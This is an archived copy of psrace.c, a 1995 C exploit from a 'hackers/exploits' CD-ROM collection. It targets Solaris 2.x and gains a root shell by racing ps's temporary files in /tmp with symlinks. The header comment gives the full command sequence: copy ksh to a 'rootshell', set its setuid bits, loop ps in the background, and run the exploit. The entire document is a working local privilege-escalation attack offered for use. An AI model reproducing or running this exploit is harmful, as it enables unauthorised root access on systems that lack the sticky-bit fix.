home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / sunos / sun-ps~1.asc < prev    next >
Encoding:
Text File  |  1997-03-11  |  2.6 KB  |  116 lines

  1.  
  2.  
  3.  
  4.  
  5. /*
  6.  
  7.  *  psrace.c
  8.  
  9.  *
  10.  
  11.  *  Copyright, 1995, by Scott Chasin (chasin@crimelab.com)
  12.  
  13.  *
  14.  
  15.  *  This material is copyrighted by Scott Chasin, 1995. The
  16.  
  17.  *  usual standard disclaimer applies, especially the fact that the
  18.  
  19.  *  author is not liable for any damages caused by direct or indirect
  20.  
  21.  *  use of the information or functionality provided by this program.
  22.  
  23.  *
  24.  
  25.  *  [ For solaris2.x only ]
  26.  
  27.  *
  28.  
  29.  *  After compiling psrace, run the following commands:
  30.  
  31.  *
  32.  
  33.  *  cp /bin/ksh $HOME/rootshell; chmod 14755 $HOME/rootshell
  34.  
  35.  *  /bin/sh -c 'while /bin/true ; do ps > /dev/null ; done' &
  36.  
  37.  *  ./psrace $HOME/rootshell
  38.  
  39.  *
  40.  
  41.  *  (Ignore any errors you get from ps)
  42.  
  43.  *  You may have to wait a few minutes before the race is won.
  44.  
  45.  */
  46.  
  47.  
  48.  
  49. #include <stdio.h>
  50.  
  51. #include <sys/types.h>
  52.  
  53.  
  54.  
  55. #include <dirent.h>
  56.  
  57. #include <sys/stat.h>
  58.  
  59.  
  60.  
  61. main (argc, argv)
  62.  
  63. int argc;
  64.  
  65. char **argv;
  66.  
  67. {
  68.  
  69.   int count = 0;
  70.  
  71.   DIR *dirp;
  72.  
  73.   struct dirent *dp;
  74.  
  75.   struct stat fileinfo;
  76.  
  77.   char targetfile [85], name [85];
  78.  
  79.  
  80.  
  81.   if (argc != 2)
  82.  
  83.    {
  84.  
  85.       printf ("Usage: psrace [/full/path/to/target/filename]\n");
  86.  
  87.       exit (1);
  88.  
  89.    }
  90.  
  91.  
  92.  
  93.   if (access (argv[1], 0))
  94.  
  95.    {
  96.  
  97.       printf ("psrace: %s does not exist.\n", argv[1]);
  98.  
  99.       exit (1);
  100.  
  101.    }
  102.  
  103.  
  104.  
  105.   strcpy (targetfile, argv[1]);
  106.  
  107.  
  108.  
  109.   stat ("/tmp", &fileinfo);
  110.  
  111.   if (fileinfo.st_mode & S_ISVTX)
  112.  
  113.    {
  114.  
  115.       printf ("psrace: Congratulations! You already have the fix in place.\n");
  116.  
  117.       printf ("psrace: (/tmp has the sticky-bit set)\n");
  118.  
  119.       exit (1);
  120.  
  121.    }
  122.  
  123.  
  124.  
  125.   printf ("Be patient, this could take awhile.\n");
  126.  
  127.   printf ("Starting the race .. ");
  128.  
  129.   fflush (stdout);
  130.  
  131.  
  132.  
  133.   dirp = opendir ("/tmp");
  134.  
  135.  
  136.  
  137.   for (;;)
  138.  
  139.    {
  140.  
  141.      unlink ("/tmp/ps_data");
  142.  
  143.  
  144.  
  145.      while ((dp = readdir (dirp)) != NULL)
  146.  
  147.       {
  148.  
  149.         if (!strncmp (dp->d_name, "ps.", 3))
  150.  
  151.          {
  152.  
  153.            sprintf (name, "/tmp/%s", dp->d_name);
  154.  
  155.            unlink (name);
  156.  
  157.  
  158.  
  159.            symlink (targetfile, name);
  160.  
  161.  
  162.  
  163.            if (stat (targetfile, &fileinfo) >= 0)
  164.  
  165.                if (fileinfo.st_uid == 0)
  166.  
  167.                  {
  168.  
  169.                    printf ("We WON!\n");
  170.  
  171.                    closedir (dirp);
  172.  
  173.                    clean_up ();
  174.  
  175.                  }
  176.  
  177.          }
  178.  
  179.       }
  180.  
  181.      rewinddir (dirp);
  182.  
  183.    }
  184.  
  185.  }
  186.  
  187.  
  188.  
  189.  
  190.  
  191. clean_up ()
  192.  
  193. {
  194.  
  195.   DIR *dirp;
  196.  
  197.   struct dirent *dp;
  198.  
  199.   char name [25];
  200.  
  201.  
  202.  
  203.   dirp = opendir ("/tmp");
  204.  
  205.  
  206.  
  207.   while ((dp = readdir (dirp)) != NULL)
  208.  
  209.       if (!strncmp (dp->d_name, "ps.", 3))
  210.  
  211.        {
  212.  
  213.           sprintf (name, "/tmp/%s", dp->d_name);
  214.  
  215.           unlink (name);
  216.  
  217.        }
  218.  
  219.   closedir (dirp);
  220.  
  221.  
  222.  
  223.   unlink ("/tmp/ps_data");
  224.  
  225.   exit (0);
  226.  
  227. }
  228.  
  229.  
  230.  
  231.